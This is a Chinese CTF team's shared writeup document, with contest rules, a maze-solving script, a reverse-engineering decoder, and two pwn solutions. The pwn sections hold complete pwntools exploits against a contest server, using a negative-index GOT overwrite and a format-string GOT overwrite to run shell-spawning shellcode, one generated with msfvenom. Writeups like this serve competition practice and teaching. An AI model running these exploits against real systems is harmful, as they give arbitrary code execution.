6月赛

合作文档

pwn2 | OPEN | working : d1nn3r

关于本文档

使用本文档来促进线上的队员和在比赛基地的队员之间的合作，并记录整个比赛的过程。

如何使用本文档

- 题目状态：
    a. OPEN - 正在试图解这道题
    b. CLOSED - 这道题还没有打开
    c. SOLVED - 解决了！鼓掌撒花！
- 根据个人能力，可以选择做还没有解出的题来挑战自我，即使这题已经被解出，依然可以继续做这题来提高自己（不过强力建议先做未解得题，因为事后会有wp整理），不过不管怎样，希望大家做到以下几点：
- **不要只顾一人做题，不看文档，不写文档**
- 解一道题，不管这题是否解出，请把**你的名字加入到Working列表**
- 如果你卡住了，或者解出这题，请先把writeup或者目前的进展写到文档里再做下一题，如果是解出了，**请在写完wp后贴出flag，并且更新题目状态，更新之后请刷新页面最上方的目录**，书写格式如下（例子）：**（比赛中可以写的很简洁，可以就写思路或主要步骤即可，但是不要不写）**

题目格式：

==========

XXX | OPEN | working : bobb zy

==========

- 如果你是做已经解决的题目，建议先自己尝试，直到做不出来才看看别人的思路，如果你有别的方法，同样把wp写在文档里，格式与上相同
- **比赛需要的是团队合作，请看重文档工作，从第一次合作开始就遵守规则，做完一题就做一个总结，这对大家都有帮助**
- 比赛结束，如果有些题在比赛中只写的简单的wp，可以花时间补充完善，写wp其实对个人的帮助一样很大
- 比赛期间欢迎讨论，目前先使用qq群交流，也可以直接在doc上交流
- WP比赛后会整理给大家学习，希望大家都能在比赛后在认真总结一番

基本信息

官网地址

比赛账号

官方IRC

起止时间

题目

WEB

==========

==========

==========

==========

MISC

==========

==========

Reverse

==========

fact | OPEN | working : gq

==========

==========

take the maze | SOLVED | working : ljj

==========

a = [[42, 468, 335, 1, 170, 225, 479, 359, 463, 465,
206, 146, 282, 328, 462, 492, 496, 443, 328, 437, 392,
105, 403, 154, 293, 383],
[422, 217, 219, 396, 448, 227, 272, 39, 370, 413,
168, 300, 36, 395, 204, 312, 323, 334, 174, 165, 142,
212, 254, 369, 48, 145],
[163, 258, 38, 360, 224, 242, 30, 279, 317, 36, 191,
343, 289, 107, 41, 443, 265, 149, 447, 306, 391, 230,
371, 351, 7, 102],
[394, 49, 130, 124, 85, 455, 257, 341, 467, 377, 432,
309, 445, 440, 127, 324, 38, 39, 119, 83, 430, 42,
334, 116, 140, 159],
[205, 431, 478, 307, 174, 387, 22, 246, 425, 73, 271,
330, 278, 74, 98, 13, 487, 291, 162, 137, 356, 268,
156, 75, 32, 53],
[351, 151, 442, 225, 467, 431, 108, 192, 8, 338, 458,
288, 254, 384, 446, 410, 210, 259, 222, 89, 423, 447,
7, 31, 414, 169],
[401, 92, 263, 156, 411, 360, 125, 38, 49, 484, 96,
42, 103, 351, 292, 337, 375, 21, 97, 22, 349, 200,
169, 485, 282, 235],
[54, 500, 419, 439, 401, 289, 128, 468, 229, 394,
149, 484, 308, 422, 311, 118, 314, 15, 310, 117, 436,
452, 101, 250, 20, 57],
[299, 304, 225, 9, 345, 110, 490, 203, 196, 486, 94,
344, 24, 88, 315, 4, 449, 201, 459, 119, 81, 297,
299, 282, 90, 299],
[10, 158, 473, 123, 39, 293, 39, 180, 191, 158, 459,
192, 316, 389, 157, 12, 203, 135, 273, 56, 329, 147,
363, 387, 376, 434],
[370, 143, 345, 417, 382, 499, 323, 152, 22, 200, 58,
477, 393, 390, 76, 213, 101, 11, 4, 370, 362, 189,
402, 290, 256, 424],
[3, 86, 183, 286, 89, 427, 118, 258, 333, 433, 170,
155, 222, 190, 477, 330, 369, 193, 426, 56, 435, 50,
442, 13, 146, 61]]

b = [[42, 469, 334, 1, 170, 225, 479, 359, 462, 464,
207, 147, 283, 329, 463, 493, 497, 442, 329, 436, 393,
104, 402, 155, 292, 382,],

```
[ 422,  217,  218,  396,  449,  226,  273,   39,  371,  412,
168,  300,   36,  395,  204,  312,  323,  334,  174,  165,  142,
213,  255,  368,   49,  144,],
[ 162,  258,   38,  360,  225,  243,   31,  279,  316,   37,  191,
342,  288,  106,   40,  442,  264,  148,  446,  307,  391,  231,
370,  350,    6,  103,],
[ 394,   49,  131,  125,   84,  454,  256,  341,  467,  377,  432,
309,  444,  441,  126,  325,   39,   39,  119,   82,  430,   43,
335,  117,  141,  158,],
[ 204,  431,  478,  306,  175,  386,   23,  247,  424,   72,  270,
330,  279,   75,   99,   12,  486,  290,  162,  136,  357,  269,
157,   74,   33,   52,],
[ 350,  150,  442,  225,  467,  431,  108,  192,    8,  339,  459,
288,  254,  384,  446,  410,  210,  259,  222,   89,  423,  446,
6,   30,  415,  168,],
[ 400,   93,  262,  157,  411,  361,  124,   39,   49,  485,   97,
43,  102,  350,  293,  336,  374,   20,   96,   23,  349,  201,
168,  484,  283,  234,],
[  55,  501,  418,  438,  401,  288,  129,  469,  229,  395,
148,  485,  309,  423,  310,  119,  315,   14,  311,  116,  436,
453,  100,  251,   21,   56,],
[ 298,  305,  224,    8,  345,  111,  491,  202,  196,  486,   94,
344,   24,   89,  314,    5,  448,  200,  458,  119,   81,  296,
298,  283,   91,  298,],
[  11,  159,  472,  122,   39,  292,   38,  181,  190,  159,  458,
193,  316,  388,  156,   13,  202,  134,  272,   57,  328,  146,
362,  386,  377,  435,],
[ 371,  142,  344,  416,  382,  498,  322,  153,   23,  201,   59,
476,  393,  390,   76,  213,  101,   11,    4,  370,  362,  189,
403,  291,  257,  425,],
[   2,   87,  182,  287,   88,  426,  119,  259,  332,  432,  171,
154,  223,  191,  476,  331,  368,  192,  427,   57,  434,   50,
442,   13,  146,   61,]]

s = []
for i in range(12):
        s.append([])
        for j in range(26):
                s[i].append(-(a[i][j]^b[i][j]))

start = 0, 0
pos = 0, 0
end = 11, 25

dirs = {
        'u':[-1,0],
```

```
        'd':[1,0],
        'l':[0,-1],
        'r':[0,1]
}

result = ""
step = 0
q = []
q.append(start)
s[0][0] = 1
while q:
        x, y = q[0]
        q = q[1:]
        step = s[x][y] + 1
        for d in dirs:
                nx = x+dirs[d][0]
                ny = y+dirs[d][1]
                if 0 <= nx < 12 and 0 <= ny < 26:
                        if s[nx][ny]==0:
                                s[nx][ny] = step
                                q.append((nx, ny))

# [[1, -1, -1, 8, 9, 10, 11, 12, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1],
#  [2, 3, -1, 7, -1, -1, -1, 13, -1, -1, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, -1, -1, -1, -1, -1],
#  [-1, 4, 5, 6, -1, -1, -1, 14, -1, -1, 19, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 31, -1, -1, -1, -1, -1],
#  [6, 5, -1, -1, -1, -1, -1, 15, 16, 17, 18, 19, -1, -1, -1, -1, -1, 31, 30, -1, 32, -1, -1, -1, -1, -1],
#  [-1, 6, 7, -1, -1, -1, -1, -1, -1, -1, -1, -1, 20, -1, -1, -1, -1, -1, -1, 29, -1, -1, -1, -1, -1, -1, -1],
#  [-1, -1, 8, 9, 10, 11, 12, 13, 14, -1, -1, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, -1, -1, -1, -1,
-1],
#  [-1, -1, -1, -1, 11, -1, -1, -1, 15, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 31, -1, -1, -1, -1, -1],
#  [-1, -1, -1, -1, 12, -1, -1, -1, 16, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 32, -1, -1, -1, -1, -1],
#  [-1, -1, -1, -1, 13, -1, -1, -1, 17, 18, 19, 20, 21, -1, -1, -1, -1, -1, -1, 34, 33, -1, -1, -1, -1, -1, -1],
#  [-1, -1, -1, -1, 14, -1, -1, -1, -1, -1, -1, -1, 22, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1],
#  [-1, -1, -1, -1, 15, -1, -1, -1, -1, -1, -1, -1, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, -1, -1, -1,
-1],
#  [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 33, 34, 35, 36, 37]]

# 0123456789abcde
# delru0123456789

# 06360836063b0839073e0639
# d1r1d3r1d1r6d3r4d2r9d1r4

s = "06360836063b0839073e0639"
flag = ""
for i in range(len(s)):
```

```
        c = s[i]
        if i==16:
                c = chr(ord(s[i])^1)
        flag += chr(ord(c)^i)
print(flag + "Docupa")
```

==========

re1 | SOLVED | working : ljj

==========

主要分析 sub_8049B55 和 sub_8049FDC 这两个函数

```
from binascii import unhexlify

s =
'-;/;5,+:+8..724G/C,=3++A5C3>=/,;5?@++95-,7H;A9EA2/H-5.3+,36+9+DG-?/.79<<-7A0=?C
C'

# base = 43
for base in range(256):
        try:
                b = ""
                for i in range(10):
                        for j in range(8):
                                b += bin(ord(s[i*8+j])-base)[2:].rjust(5, '0')[:5]

                b = (unhexlify(hex(int(b, 2))[2:]))
                flag = ""
                for i in range(50):
                        flag += chr(b[i]^b'redctf'[i%6])
                print(flag)
        except:
                pass
```

Crypto

==========

==========

PWN

==========

fruit_tea_1 | SOLVED | working : ljj

==========

index没有检查是否为负数，通过输入负数的index修改puts的got 去执行shellcode
可打印shellcode可以用 msfvenom 生成

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 124.16.75.162 --port 40005 fruit_tea_1
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('fruit_tea_1')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '124.16.75.162'
port = int(args.PORT or 40005)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
```

```
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b * 0x0804884E
'''

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments

io = start()

# msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed -f raw
BufferRegister=EDX
shellcode =
"JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICZFk3hnyBrbFcX6MrCO
yJG1x6OBSCXs0BHDo1rPi2Nnim30RkXeSGpEPEPps0hGprwQCmY9q8MopAA"

io.readuntil("==>")
io.writeline("1")
io.readuntil(":")
io.writeline(str((exe.got['puts']-exe.sym['my_tea'])/4))
io.readuntil(":")
io.writeline(shellcode)

io.interactive()
```

==========

fruit_tea_2 | SOLVED | working : fdl, ljj

==========

格式化字符串漏洞，可以泄露got表地址

==========

栈溢出使程序调用 __stack_chk_fail，利用格式化字符串修改 __stack_chk_fail 的 got 去执行 shellcode

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 124.16.75.162 --port 40006 fruit_tea_2
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('fruit_tea_2')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '124.16.75.162'
port = int(args.PORT or 40006)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x0804871C
```

```
c
'''

#===========================================================
#                 EXPLOIT GOES HERE
#===========================================================
# Arch:     i386-32-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX disabled
# PIE:      No PIE (0x8048000)
# RWX:      Has RWX segments

# 0x0804841d : pop ebx ; ret
pr = 0x0804841d # write pr to exe.got['__stack_chk_fail'])
jmp_esp = p32(0x08048977)
fmt_str = p32(exe.got['__stack_chk_fail']) + "%33769c" + "%16$08hn"

payload = jmp_esp + asm(shellcraft.sh()) + fmt_str + 'a' * 2000

io = start()

io.writeline(payload)

io.interactive()
============================
```